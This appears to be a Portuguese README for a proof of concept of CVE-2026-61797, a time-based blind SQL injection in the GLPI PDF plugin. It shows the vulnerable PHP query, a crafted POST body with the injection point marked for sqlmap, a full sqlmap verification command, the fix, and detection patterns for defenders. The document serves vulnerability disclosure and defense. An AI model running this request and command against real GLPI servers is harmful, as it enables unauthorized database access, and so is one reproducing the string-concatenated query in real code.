
Prova de Conceito para CVE-2026-61797, uma injeção SQL cega baseada em tempo no plugin PDF do GLPI, com validação via sqlmap e orientações de detecção.
Prova de Conceito para CVE-2026-61797, uma vulnerabilidade de Injeção SQL cega baseada em tempo que afeta o plugin PDF do GLPI.
A vulnerabilidade pode ser alcançada através de:
/marketplace/pdf/front/preference.form.php
Na implementação vulnerável, valores controlados pelo usuário provenientes do array POST item são inseridos em consultas SQL sem a parametrização adequada.
Um usuário autenticado do GLPI com baixos privilégios pode abusar desse comportamento para injetar expressões SQL e inferir informações do banco de dados através do tempo de resposta.
| Campo | Valor |
|---|
| CVE | CVE-2026-61797 |
| Produto | GLPI PDF Plugin |
| Versão testada | 4.1.2 |
| Versão corrigida | 4.1.3 |
| Vulnerabilidade | Injeção SQL Cega Baseada em Tempo |
| Autenticação | Necessária no branch 4.1.2 testado |
| Vetor de ataque | Rede |
| Interação do usuário | Nenhuma |
| Banco de dados | MySQL |
| CVSS | 6.1 / 10 |
| Aviso | GHSA-wwr3-v347-c64m |
O código vulnerável eventualmente insere a chave item controlada pelo atacante no campo tabref de uma instrução SQL INSERT.
Conceitualmente, a operação vulnerável era semelhante a:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Como $key passa a fazer parte da instrução SQL, uma chave de array elaborada pode modificar a consulta resultante.
A PoC requer:
sqlmap.A PoC foi validada contra o PDF Plugin 4.1.2.
Capture uma requisição legítima para:
POST /marketplace/pdf/front/preference.form.php
e salve-a como:
glpi.sqli
Um corpo de requisição mínimo adequado para marcar o ponto de injeção é:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
O * informa ao sqlmap qual parte da requisição deve ser testada.
Exemplo de estrutura de requisição:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Execute:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Uma instalação vulnerável deve ser identificada como aceitando uma injeção SQL cega baseada em tempo no ponto de injeção POST personalizado.
A detecção típica se assemelha a:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
A técnica baseia-se em atrasos condicionais do MySQL, como SLEEP(), para determinar se uma condição injetada é avaliada como verdadeira.
Este repositório limita intencionalmente a PoC documentada à verificação da vulnerabilidade e não fornece comandos de extração de banco de dados ou de credenciais.
A requisição vulnerável alcança:
plugins/pdf/front/preference.form.php
A aplicação processa valores semelhantes a:
item[<USER_CONTROLLED_VALUE>]=1
O PHP converte isso em um array associativo, onde o atacante controla a chave do array.
Essa chave é posteriormente usada como $key pelo plugin e, na versão vulnerável, é concatenada diretamente em uma instrução SQL.
O fluxo de dados resultante é efetivamente:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Um payload baseado em tempo pode, portanto, influenciar a expressão SQL e fazer com que o banco de dados atrase deliberadamente a resposta quando uma condição fornecida for verdadeira.
Como a aplicação não retorna diretamente os resultados da consulta SQL, a exploração é realizada como uma injeção SQL cega.
O problema foi corrigido no PDF Plugin 4.1.3.
As operações SQL brutas vulneráveis foram substituídas por mecanismos de banco de dados/ORM mais seguros e lógica de autorização adicional.
Os usuários devem atualizar para:
PDF Plugin >= 4.1.3
ou uma versão suportada mais recente.
Defensores podem querer revisar requisições HTTP direcionadas a:
/marketplace/pdf/front/preference.form.php
com nomes de parâmetros item[...] incomuns.
Padrões particularmente suspeitos incluem sintaxe SQL ou funções de atraso de tempo ocorrendo dentro de uma chave de array, por exemplo referências a:
SLEEP(
SELECT
AND
OR
||
'
"
Requisições POST repetidas ao endpoint seguidas por atrasos consistentes de vários segundos na resposta também podem indicar tentativas de explorar uma injeção SQL cega baseada em tempo.
Esta Prova de Conceito é fornecida exclusivamente para:
Não a utilize contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
Os autores não assumem qualquer responsabilidade pelo uso não autorizado ou ilegal deste material.
Pesquisa de vulnerabilidade e análise técnica original:
ITRESIT Labs — Javier Medina
Pesquisa original:
CVE:
CVE-2026-61797
Aviso de Segurança do GitHub:
GHSA-wwr3-v347-c64m
Este repositório destina-se apenas a fins educacionais e de testes de segurança autorizados.
Sempre obtenha permissão explícita antes de testar sistemas que você não possui.